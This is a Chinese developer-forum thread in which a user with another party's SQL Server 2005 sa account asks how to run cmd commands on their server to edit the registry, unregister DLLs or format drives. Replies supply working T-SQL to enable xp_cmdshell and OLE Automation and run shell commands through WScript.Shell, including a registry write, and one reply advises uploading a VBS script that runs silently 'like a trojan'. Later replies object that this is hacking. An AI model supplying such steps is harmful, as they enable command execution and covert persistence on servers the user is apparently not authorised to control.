高分mssql2005调用cmd

时间:2022-05-10 10:39:54
RT
我想在数据库中执行cmd命令
xp_cmdshell,sys.sp_OACreate,sys.sp_OAMethod老提示被关闭~~~
我也知道是sql的安全性改动了xpweb70.dll或者sys.sp_OACreate之类的东西

求一种能向cmd调用的可行方案。。。

22 个解决方案

#1


顶,,学习!

#2


补充一下  我用的是sa账号

#3


可以把您C盘目录下的system32的权限 ,和system32文件里的cmd.exe net.exe net1.exe的权限进行相关设置,那样别人不仅无法使用cmd.exe以外 也没有上传文件的权限,对您的系统后台加了一道坚固的堡垒。
设置方法 右击该文件,点属性,然后点安全,然后您便可以把权限进行相关设置 

#4


其实我想掉用cmd。。。。现在权限问题也解决了
我只是想知道  怎么用sql调用cmd来执行:“ping 192.168.1.1”

#5


最好有执行结果

#6


--1:得到客户端的IP地址
/************* IP  **************/
declare @ip varchar(20),@hst varchar(20),@sql varchar(100)
declare @str varchar(100)
set @str='PING '+Host_Name()
create table #tmp(aa varchar(200))
insert #tmp exec master..xp_cmdshell @str
select top 1 @ip = replace(left(aa,charindex(':',aa)-1),'Reply from ','') 
   from #tmp where aa like 'reply from %:%'
drop table #tmp
select @ip

#7



EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

exec xp_cmdshell 'ping 192.168.1.1'

#8


xp_cmdshell这个是写在xplog70.dll里面的函数,肯定被禁用了么
现在哪个sqlserver还可以用啊
目前能用的是:sp_oacreate 和 sp_oamethod 
而且我说:ping 192.168.1.1只是打个比方,我要进行更深一层次的cmd命令:不如修改注册表,反注册,格式化之类的

我想要一个可以执行的,不要反馈信息也可以的,sql调用cmd的通用写法

#9




-- 允许 SQL Server 调用 ole 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

-- 调用 wscript.shell.exec 方法执行命令
declare @obj int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',null,'cmd.exe /c mkdir c:\test';

#10


sql server 2005 需要启用  xp_cmdshell 服务器选项才可以调用 xp_cmdshell 扩展过程。
需要启用  Ole Automation Procedures 服务器选项才可以调用 ole 组件。

#11


怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

#12


使用 sqlcmd.exe 客户端登陆服务器,执行 #7 和 #9 中的 sp_configure 语句就可以了。

#13


引用 11 楼 duoluoo 的回复:
怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

你也可以去 sql 2005开始菜单 中--sql 2005 --配置工具 -reporting server配置管理器 去配置!

启动cmdshell,及ole 自动化

#14


#7和#9只能开启OLE
开不起xp_cmdshell的

#15


引用 13 楼 abuying 的回复:
引用 11 楼 duoluoo 的回复:

怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

你也可以去 sql 2005开始菜单 中--sql 2005 --配置工具 -reporting server配置管理器 去配置!

启动cmdshe……

sql 2005开始菜单。。。。。我不能远程桌面他们,我只有ip来连接他们的数据库,他们的远程桌面密码是不会给我的

#16


引用 14 楼 duoluoo 的回复:
#7和#9只能开启OLE
开不起xp_cmdshell的


可以开启 ole ,就可以使用 wscript.shell.exec 方法执行命令,不过不能显示结果。


declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',@ret out,'cmd.exe /c mkdir c:\test';
exec sp_oadestroy @obj;

#17


该回复于2010-11-15 08:59:33被版主删除

#18


引用 16 楼 xman_78tom 的回复:
引用 14 楼 duoluoo 的回复:

#7和#9只能开启OLE
开不起xp_cmdshell的


可以开启 ole ,就可以使用 wscript.shell.exec 方法执行命令,不过不能显示结果。

SQL code

declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exe……


你的想法是对的,新建一个text的文件夹也是可以的,但是我想操作注册表,我想修改一个注册表,好像不会执行

#19


我研究过这个
sql可以调用cmd,但是最多执行ping,mkdir之类的,你想动注册表  肯定不会运行
c#也是这样,调用cmd可以,但是遇到操作注册表的代码就会停止
vb你写到web页面也会停止

我给你个思路:
写个vbs上传到他机器,然后写个类似木马一样的东西,让他自动执行
vbs参考代码:
set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "regsvr32 -s -u D:\abc.dll"

这个不会弹出任何东西,很隐蔽,自己考虑下怎么让他自动执行

#20


果然可以,但是我不知道怎么让他自动执行,先百度几下 ,待会再问你

#21


不能操作注册表? 我测试的可以!

declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',@ret out,'REG.exe ADD \\.\HKLM\Software\My';
exec sp_oadestroy @obj;


不能操作注册表的关键在于 sql server 的服务帐号是否有权限!

hacker 就去专业的 hack 站点,那里有详细的教程!

#22


这里讨论的是 SQL Server 技术,不是破坏 SQL Server 的方法!

#1


顶,,学习!

#2


补充一下  我用的是sa账号

#3


可以把您C盘目录下的system32的权限 ,和system32文件里的cmd.exe net.exe net1.exe的权限进行相关设置,那样别人不仅无法使用cmd.exe以外 也没有上传文件的权限,对您的系统后台加了一道坚固的堡垒。
设置方法 右击该文件,点属性,然后点安全,然后您便可以把权限进行相关设置 

#4


其实我想掉用cmd。。。。现在权限问题也解决了
我只是想知道  怎么用sql调用cmd来执行:“ping 192.168.1.1”

#5


最好有执行结果

#6


--1:得到客户端的IP地址
/************* IP  **************/
declare @ip varchar(20),@hst varchar(20),@sql varchar(100)
declare @str varchar(100)
set @str='PING '+Host_Name()
create table #tmp(aa varchar(200))
insert #tmp exec master..xp_cmdshell @str
select top 1 @ip = replace(left(aa,charindex(':',aa)-1),'Reply from ','') 
   from #tmp where aa like 'reply from %:%'
drop table #tmp
select @ip

#7



EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

exec xp_cmdshell 'ping 192.168.1.1'

#8


xp_cmdshell这个是写在xplog70.dll里面的函数,肯定被禁用了么
现在哪个sqlserver还可以用啊
目前能用的是:sp_oacreate 和 sp_oamethod 
而且我说:ping 192.168.1.1只是打个比方,我要进行更深一层次的cmd命令:不如修改注册表,反注册,格式化之类的

我想要一个可以执行的,不要反馈信息也可以的,sql调用cmd的通用写法

#9




-- 允许 SQL Server 调用 ole 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

-- 调用 wscript.shell.exec 方法执行命令
declare @obj int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',null,'cmd.exe /c mkdir c:\test';

#10


sql server 2005 需要启用  xp_cmdshell 服务器选项才可以调用 xp_cmdshell 扩展过程。
需要启用  Ole Automation Procedures 服务器选项才可以调用 ole 组件。

#11


怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

#12


使用 sqlcmd.exe 客户端登陆服务器,执行 #7 和 #9 中的 sp_configure 语句就可以了。

#13


引用 11 楼 duoluoo 的回复:
怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

你也可以去 sql 2005开始菜单 中--sql 2005 --配置工具 -reporting server配置管理器 去配置!

启动cmdshell,及ole 自动化

#14


#7和#9只能开启OLE
开不起xp_cmdshell的

#15


引用 13 楼 abuying 的回复:
引用 11 楼 duoluoo 的回复:

怎么启用xp_cmdshell和Ole Automation Procedures
我是远程的,目前只有他们的sa账号,进行远程登录他们的数据库服务器,还有个就是可以上传文件到他们服务器

你也可以去 sql 2005开始菜单 中--sql 2005 --配置工具 -reporting server配置管理器 去配置!

启动cmdshe……

sql 2005开始菜单。。。。。我不能远程桌面他们,我只有ip来连接他们的数据库,他们的远程桌面密码是不会给我的

#16


引用 14 楼 duoluoo 的回复:
#7和#9只能开启OLE
开不起xp_cmdshell的


可以开启 ole ,就可以使用 wscript.shell.exec 方法执行命令,不过不能显示结果。


declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',@ret out,'cmd.exe /c mkdir c:\test';
exec sp_oadestroy @obj;

#17


该回复于2010-11-15 08:59:33被版主删除

#18


引用 16 楼 xman_78tom 的回复:
引用 14 楼 duoluoo 的回复:

#7和#9只能开启OLE
开不起xp_cmdshell的


可以开启 ole ,就可以使用 wscript.shell.exec 方法执行命令,不过不能显示结果。

SQL code

declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exe……


你的想法是对的,新建一个text的文件夹也是可以的,但是我想操作注册表,我想修改一个注册表,好像不会执行

#19


我研究过这个
sql可以调用cmd,但是最多执行ping,mkdir之类的,你想动注册表  肯定不会运行
c#也是这样,调用cmd可以,但是遇到操作注册表的代码就会停止
vb你写到web页面也会停止

我给你个思路:
写个vbs上传到他机器,然后写个类似木马一样的东西,让他自动执行
vbs参考代码:
set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "regsvr32 -s -u D:\abc.dll"

这个不会弹出任何东西,很隐蔽,自己考虑下怎么让他自动执行

#20


果然可以,但是我不知道怎么让他自动执行,先百度几下 ,待会再问你

#21


不能操作注册表? 我测试的可以!

declare @obj int, @ret int;
exec sp_oacreate 'WScript.Shell',@obj out;
exec sp_oamethod @obj,'Exec',@ret out,'REG.exe ADD \\.\HKLM\Software\My';
exec sp_oadestroy @obj;


不能操作注册表的关键在于 sql server 的服务帐号是否有权限!

hacker 就去专业的 hack 站点,那里有详细的教程!

#22


这里讨论的是 SQL Server 技术,不是破坏 SQL Server 的方法!